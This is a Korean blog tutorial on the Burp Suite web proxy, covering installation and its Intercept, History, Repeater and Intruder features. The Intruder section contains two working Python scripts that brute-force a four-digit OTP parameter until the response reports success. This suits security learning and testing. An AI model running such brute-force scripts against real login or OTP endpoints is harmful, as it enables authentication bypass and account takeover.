Burp Suite
정의
클라이언트와 서버 사이에 있는 웹 프록시 프로그램 (패킷 조작 프로그램).
이를 이용해서 중간에 요청되는 데이터를 볼수 있으며(인터셉트 프록시), 웹 애플리케이션의 스캐너같은 다양한 취약점 검사 및 인터페이스 분석 도구 등을 제공합니다.
사용 용도
- 웹 애플리케이션의 취약점을 탐지
- 보안 결함을 수정
- 웹 애플리케이션의 인터페이스 분석
우분투에 설치법
- 자바 설치
sudo apt-get install openjdk-8-jre
- Burp Suite 커뮤니터버전 다운 https://portswigger.net/burp/communitydownload
- 설치 파일 실행
다운 폴더에서 터미널 열기
sudo bash burpsuite_community_linux_v2021_9_1.sh
- 기본 설치 위치인 /usr/local/bin로 터미널로 가서 실행
- /BurpSuiteCommunity
Burp Suite의 주요 기능
Intercept
정의
중간에 Request요청을 가져와서 서버에 보내지 않게 하는 Burp Suite의 기능들 중 하나.
이를 이용해서 중간에 패킷을 수정하여 전송할수 있다.
Steps
- proxy-intercept-intercept is on
- open browser
이후 열린 크로니움 브라우저의 모든 요청은 중간에 멈추고 Burp Suite에서 허락하지 않으면 보낼수가 없음.
- forward: 멈춰있던 요청을 서버로 보냄. 보내기전에 Request를 수정가능.
- Drop: 멈춰있던 요청을 삭제해버림. 서버는 이 요청을 받지 못함.
History
정의
크로니움 브라우저에서 한 모든 요청과 응답을 모아서 볼수 있는 Burp Suite의 기능들 중 하나.
Steps
- proxy-intercept-HTTP history
- open browser
이후 열린 크로니움 브라우저의 모든 요청과 응답을 확인할수 있음.
Repeater
정의
하나의 요청을 여러번 변조해서 서버에 보내고 싶을때 사용하는 Burp Suite의 기능들 중 하나.
send를 누르면 응답을 바로 볼수 있음.
Steps
- proxy-intercept-HTTP history-반복하길 원하는 요청을 선택-오른쪽버튼-send to Repeater
- 변조 한다음 send 버튼
Intruder
정의
반복해서 요청을 보내서 비밀번호를 무차별 대입으로 알아볼때 사용하는 Burp Suite의 기능들 중 하나.
Steps
- proxy-intercept-HTTP history-반복하길 원하는 요청을 선택-오른쪽버튼-send to Intruder
- position-clear-반복해서 변조하길 원하는 부분을 블럭-add
- payload-블럭친 부분을 어떤식으로 변조할것인지 셋팅
- start attack
공격속도가 좀 느린편이고. 원하는 조건을 넣기엔 이미 정해져있는곳에서 찾아야 하기 때문에, 복잡한 조건이 필요할경우, 파이썬으로 따로 짜서 공격하는쪽에 좀더 나음.
파이썬 라이브러리중, httplib2나, request를 사용하면 Intruder기능 대체 가능.
파이썬 예제
HTTP request: GET example.php?otp_num=1111 HTTP/1.1
변수: otp_num
시도 범위: 0000~9999
조건: Success
import httplib2
# 대상 웹 사이트 URL (여기서는 example.com)
url = "<https://example.com/example.php>"
# httplib2 인스턴스 생성
http_obj = httplib2.Http()
# otp_num의 범위 (0000부터 9999까지)
for otp_num in range(10000):
# otp_num을 4자리 숫자로 포맷팅합니다. (예: 0035)
otp_num_formatted = f"{otp_num:04d}"
# GET 요청에 otp_num 매개변수를 추가합니다.
request_url = f"{url}?otp_num={otp_num_formatted}"
response, content = http_obj.request(request_url, method="GET")
# 원하는 결과를 찾는 방법에 따라 처리를 변경할 수 있습니다.
# 예를 들어, 서버에서 특정 메시지를 반환한다면 이를 확인할 수 있습니다.
if b"Success" in content:
print(f"Success! OTP number is: {otp_num_formatted}")
break
else:
print(f"Failed for OTP number: {otp_num_formatted}")
import requests
# 대상 웹 사이트 URL (여기서는 example.com)
url = "<https://example.com/example.php>"
# otp_num의 범위 (0000부터 9999까지)
for otp_num in range(10000):
# otp_num을 4자리 숫자로 포맷팅합니다. (예: 0035)
otp_num_formatted = f"{otp_num:04d}"
# GET 요청에 otp_num 매개변수를 추가합니다.
response = requests.get(url, params={"otp_num": otp_num_formatted})
# 원하는 결과를 찾는 방법에 따라 처리를 변경할 수 있습니다.
# 예를 들어, 서버에서 특정 메시지를 반환한다면 이를 확인할 수 있습니다.
if "Success" in response.text:
print(f"Success! OTP number is: {otp_num_formatted}")
break
else:
print(f"Failed for OTP number: {otp_num_formatted}")
Burp Suite 한글이 깨질때 시도해볼만한 방법
- Character sets 설정
- font 설정
'old > Cyber Security' 카테고리의 다른 글
APM(Apache2, Php, Mysql) 기반 로그인 인증 웹사이트 만들기 (0) | 2023.04.17 |
---|---|
웹 해킹 예제: 쿠키 변조, 디렉토리 명 추측, 세션 하이재킹, 인증 우회, 브루트 포스 공격 (0) | 2023.04.12 |
OAuth 2.0까지의 인증 방식의 진화 (0) | 2023.04.10 |
http에서 데이터 전달하는 두가지 방법: GET, POST (0) | 2023.04.07 |
APM에서 MySQL: 기초 사용법과 설정 (0) | 2023.04.07 |